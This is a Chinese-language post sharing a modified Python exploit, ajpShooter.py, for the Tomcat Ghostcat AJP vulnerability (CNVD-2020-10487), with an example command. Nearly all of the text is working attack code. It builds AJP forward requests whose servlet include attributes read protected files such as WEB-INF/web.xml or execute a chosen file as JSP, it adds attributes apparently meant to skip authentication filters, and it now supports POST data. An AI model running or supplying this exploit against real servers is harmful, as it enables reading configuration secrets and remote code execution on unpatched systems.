Ghostcat-CNVD-2020-10487
Ghostcat-CNVD-2020-10487 copied to clipboard
完善了DATA功能
完善了POST传输DATA的功能,代码写的比较乱(实测能用),可以做个参考吧。
python3 ajpShooter.py -X POST -d "a=1" "http://127.0.0.1" 8009 /index.jsp eval
代码如下:
#!/usr/bin/python3
# Author: 00theway
import socket
import binascii
import argparse
import urllib.parse
debug = False
def log(type, *args, **kwargs):
if type == 'debug' and debug == False:
return
elif type == 'append' and debug == True:
return
elif type == 'append':
kwargs['end'] = ''
print(*args, **kwargs)
return
print('[%s]' % type.upper(), *args, **kwargs)
class ajpRequest(object):
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
self.request_url = request_url
self.method = method
self.headers = headers
# print(self.headers)
self.attributes = attributes
def method2code(self, method):
methods = {
'OPTIONS': 1,
'GET': 2,
'HEAD': 3,
'POST': 4,
'PUT': 5,
'DELETE': 6,
'TRACE': 7,
'PROPFIND': 8
}
code = methods.get(method, 2)
return code
def make_headers(self):
header2code = {
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
b'host': b'\xA0\x0B', # SC_REQ_HOST
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
}
headers_ajp = []
for (header_name, header_value) in self.headers:
code = header2code.get(header_name, b'')
if code != b'':
headers_ajp.append(code)
headers_ajp.append(self.ajp_string(header_value))
else:
headers_ajp.append(self.ajp_string(header_name))
headers_ajp.append(self.ajp_string(header_value))
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
# def make_headers_post(self):
# header2code = {
# b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
# b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
# b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
# b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
# b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
# b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
# b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
# b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
# b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
# b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
# b'host': b'\xA0\x0B', # SC_REQ_HOST
# b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
# b'referer': b'\xA0\x0D', # SC_REQ_REFERER
# b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
# }
# headers_ajp = []
# for (header_name, header_value) in self.headers:
# code = header2code.get(header_name, b'')
# if code != b'':
# headers_ajp.append(code)
# headers_ajp.append(self.ajp_string(header_value))
# else:
# headers_ajp.append(self.ajp_string(header_name))
# headers_ajp.append(self.ajp_string(header_value))
# return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
def make_attributes(self):
'''
org.apache.catalina.jsp_file
javax.servlet.include.servlet_path + javax.servlet.include.path_info
'''
attribute2code = {
b'remote_user': b'\x03',
b'auth_type': b'\x04',
b'query_string': b'\x05',
b'jvm_route': b'\x06',
b'ssl_cert': b'\x07',
b'ssl_cipher': b'\x08',
b'ssl_session': b'\x09',
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
b'ssl_key_size': b'\x0B'
}
attributes_ajp = []
for (name, value) in self.attributes:
code = attribute2code.get(name, b'')
if code != b'':
attributes_ajp.append(code)
if code == b'\x0A':
for v in value:
attributes_ajp.append(self.ajp_string(v))
else:
attributes_ajp.append(self.ajp_string(value))
return b''.join(attributes_ajp)
def ajp_string(self, message_bytes):
# an AJP string
# the length of the string on two bytes + string + plus two null bytes
message_len_int = len(message_bytes)
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
def int2byte(self, data, byte_len=1):
return data.to_bytes(byte_len, 'big')
def make_forward_request_package(self):
'''
AJP13_FORWARD_REQUEST :=
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
method (byte)
protocol (string)
req_uri (string)
remote_addr (string)
remote_host (string)
server_name (string)
server_port (integer)
is_ssl (boolean)
num_headers (integer)
request_headers *(req_header_name req_header_value)
attributes *(attribut_name attribute_value)
request_terminator (byte) OxFF
'''
req_ob = urllib.parse.urlparse(self.request_url)
# JK_AJP13_FORWARD_REQUEST
prefix_code_int = 2
prefix_code_bytes = self.int2byte(prefix_code_int)
method_bytes = self.int2byte(self.method2code(self.method))
protocol_bytes = b'HTTP/1.1'
req_uri_bytes = req_ob.path.encode('utf8')
remote_addr_bytes = b'127.0.0.1'
remote_host_bytes = b'localhost'
server_name_bytes = req_ob.hostname.encode('utf8')
# SSL flag
if req_ob.scheme == 'https':
is_ssl_boolean = 1
else:
is_ssl_boolean = 0
# port
server_port_int = req_ob.port
if not server_port_int:
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
num_headers_bytes, headers_ajp_bytes = self.make_headers()
attributes_ajp_bytes = self.make_attributes()
message = []
message.append(prefix_code_bytes)
message.append(method_bytes)
message.append(self.ajp_string(protocol_bytes))
message.append(self.ajp_string(req_uri_bytes))
message.append(self.ajp_string(remote_addr_bytes))
message.append(self.ajp_string(remote_host_bytes))
message.append(self.ajp_string(server_name_bytes))
message.append(server_port_bytes)
message.append(is_ssl_bytes)
message.append(num_headers_bytes)
message.append(headers_ajp_bytes)
message.append(attributes_ajp_bytes)
message.append(b'\xff')
message_bytes = b''.join(message)
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
return send_bytes
def make_forward_request_package_post(self):
'''
AJP13_FORWARD_REQUEST :=
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
method (byte)
protocol (string)
req_uri (string)
remote_addr (string)
remote_host (string)
server_name (string)
server_port (integer)
is_ssl (boolean)
num_headers (integer)
request_headers *(req_header_name req_header_value)
attributes *(attribut_name attribute_value)
request_terminator (byte) OxFF
'''
req_ob = urllib.parse.urlparse(self.request_url)
# JK_AJP13_FORWARD_REQUEST
prefix_code_int = 2
prefix_code_bytes = self.int2byte(prefix_code_int)
method_bytes = self.int2byte(self.method2code(self.method))
protocol_bytes = b'http'
req_uri_bytes = req_ob.path.encode('utf8')
remote_addr_bytes = b'127.0.0.1'
remote_host_bytes = b'localhost'
server_name_bytes = req_ob.hostname.encode('utf8')
# SSL flag
if req_ob.scheme == 'https':
is_ssl_boolean = 1
else:
is_ssl_boolean = 0
# port
server_port_int = req_ob.port
if not server_port_int:
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
num_headers_bytes, headers_ajp_bytes = self.make_headers()
print(headers_ajp_bytes)
attributes_ajp_bytes = self.make_attributes()
message = []
message.append(prefix_code_bytes)
message.append(method_bytes)
message.append(self.ajp_string(protocol_bytes))
message.append(self.ajp_string(req_uri_bytes))
message.append(self.ajp_string(remote_addr_bytes))
message.append(self.ajp_string(remote_host_bytes))
message.append(self.ajp_string(server_name_bytes))
message.append(server_port_bytes)
message.append(is_ssl_bytes)
message.append(num_headers_bytes)
message.append(headers_ajp_bytes)
message.append(attributes_ajp_bytes)
message.append(b'\xff')
message_bytes = b''.join(message)
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
return send_bytes
class ajpResponse(object):
def __init__(self, s, out_file):
self.sock = s
self.out_file = out_file
self.body_start = False
self.common_response_headers = {
b'\x01': b'Content-Type',
b'\x02': b'Content-Language',
b'\x03': b'Content-Length',
b'\x04': b'Date',
b'\x05': b'Last-Modified',
b'\x06': b'Location',
b'\x07': b'Set-Cookie',
b'\x08': b'Set-Cookie2',
b'\x09': b'Servlet-Engine',
b'\x0a': b'Status',
b'\x0b': b'WWW-Authenticate',
}
if not self.out_file:
self.out_file = False
else:
log('*', 'store response in %s' % self.out_file)
self.out = open(self.out_file, 'wb')
def parse_response(self):
log('debug', 'start')
magic = self.recv(2) # first two bytes are the 'magic'
log('debug', 'magic', magic, binascii.b2a_hex(magic))
# next two bytes are the length
data_len_int = self.read_int(2)
code_int = self.read_int(1)
log('debug', 'code', code_int)
if code_int == 3:
self.parse_send_body_chunk()
elif code_int == 4:
self.parse_headers()
elif code_int == 5:
self.parse_response_end()
quit()
self.parse_response()
def parse_headers(self):
log("append", '\n')
log('debug', 'parsing RESPONSE HEADERS')
status_int = self.read_int(2)
msg_bytes = self.read_string()
log('<', status_int, msg_bytes.decode('utf8'))
headers_number_int = self.read_int(2)
log('debug', 'headers_nb', headers_number_int)
for i in range(headers_number_int):
# header name: two cases
first_byte = self.recv(1)
second_byte = self.recv(1)
if first_byte == b'\xa0':
header_key_bytes = self.common_response_headers[second_byte]
else:
header_len_bytes = first_byte + second_byte
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
header_key_bytes = self.read_bytes(header_len_int)
# consume the 0x00 terminator
self.recv(1)
header_value_bytes = self.read_string()
try:
header_key_bytes = header_key_bytes.decode('utf8')
header_value_bytes = header_value_bytes.decode('utf8')
except:
pass
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
def parse_send_body_chunk(self):
if not self.body_start:
log('append', '\n')
log('debug', 'start parsing body chunk')
self.body_start = True
chunk = self.read_string()
if self.out_file:
self.out.write(chunk)
else:
try:
chunk = chunk.decode('utf8')
except:
pass
log('append', chunk)
def parse_response_end(self):
log('debug', 'start parsing end')
code_reuse_int = self.read_int(1)
log('debug', "finish parsing end", code_reuse_int)
self.sock.close()
def read_int(self, int_len):
return int.from_bytes(self.recv(int_len), byteorder='big')
def read_bytes(self, bytes_len):
return self.recv(bytes_len)
def read_string(self, int_len=2):
data_len = self.read_int(int_len)
data = self.recv(data_len)
# consume the 0x00 terminator
end = self.recv(1)
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
return data
def recv(self, data_len):
data = self.sock.recv(data_len)
while len(data) < data_len:
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
data += self.sock.recv(data_len - len(data))
return data
class ajpShooter(object):
def __init__(self, args):
self.args = args
self.headers = args.header
self.ajp_port = args.ajp_port
self.requesturl = args.url
self.target_file = args.target_file
self.shooter = args.shooter
self.method = args.X
self.out_file = args.out_file
try:
self.data = args.data[0]
except:
self.data = ''
# print(self.data)
def shoot(self):
headers = self.transform_headers()
# print(headers)
target_file = self.target_file.encode('utf8')
attributes = []
evil_req_attributes = [
(b'javax.servlet.include.request_uri', b'index'),
(b'javax.servlet.include.servlet_path', target_file),
(b'authc.FILTERED', b'1'),
(b'user.FILTERED', b'1'),
(b'perms.FILTERED', b'1'),
(b'role.FILTERED', b'1')
]
for req_attr in evil_req_attributes:
attributes.append((b"req_attribute", req_attr))
if self.shooter == 'read':
self.requesturl += '/index.txt'
else:
self.requesturl += '/xxx.jsp'
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ajp_ip, self.ajp_port))
# print(self.data)
if self.data == '':
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
print(message)
s.send(message)
ajpResponse(s, self.out_file).parse_response()
else:
post_data_len = len(self.data)
# 注意这里的header 冒号后面不要加空格(不然会导致POST时卡死,坑了几个小时),当然也可以修一下解析逻辑(懒得写了,能用就行)
post_headers = ['content-type:application/x-www-form-urlencoded', f'content-length:{post_data_len}']
newheaders = []
# 用户自己的header
for header in self.headers:
hsplit = header.split(':')
hname = hsplit[0]
hvalue = ':'.join(hsplit[1:])
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
# 再append POST需要的header
for header in post_headers:
hsplit = header.split(':')
hname = hsplit[0]
hvalue = ':'.join(hsplit[1:])
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
length0 = hex(post_data_len)[2:]
length1 = hex(post_data_len + 2)[2:]
if len(length0) < 4 and len(length1) < 4:
padding0 = ""
padding1 = ""
i = 4 - len(length0)
i1 = 4 - len(length1)
for i2 in range(i):
padding0 += "0"
for i2 in range(i1):
padding1 += "0"
length0 = padding0 + length0
length1 = padding1 + length1
# print(self.method)
message = ajpRequest(self.requesturl, self.method, newheaders, attributes).make_forward_request_package_post()
# print(length1)
# print(length1.encode())
post_data = '1234'.encode() + length1.encode() + length0.encode() + binascii.hexlify(self.data.encode())
print(post_data)
post_data_2 = bytes.fromhex(post_data.decode())
# print(post_data)
# print(all_data)
print(message[:-1]) # 去除最后的\x00
s.send(message[:-1])
s.send(post_data_2)
# s.send(post_data_2)
ajpResponse(s, self.out_file).parse_response()
def transform_headers(self):
self.headers = [] if not self.headers else self.headers
newheaders = []
print(self.headers)
for header in self.headers:
hsplit = header.split(':')
hname = hsplit[0]
hvalue = ':'.join(hsplit[1:])
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
return newheaders
if __name__ == "__main__":
# parse command line arguments
print('''
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
''')
parser = argparse.ArgumentParser()
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
parser.add_argument('-H', '--header', help='add a header', action='append')
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
parser.add_argument('-o', '--out-file', help='write response to file')
parser.add_argument('--debug', action='store_true', default=False)
args = parser.parse_args()
debug = args.debug
ajpShooter(args).shoot()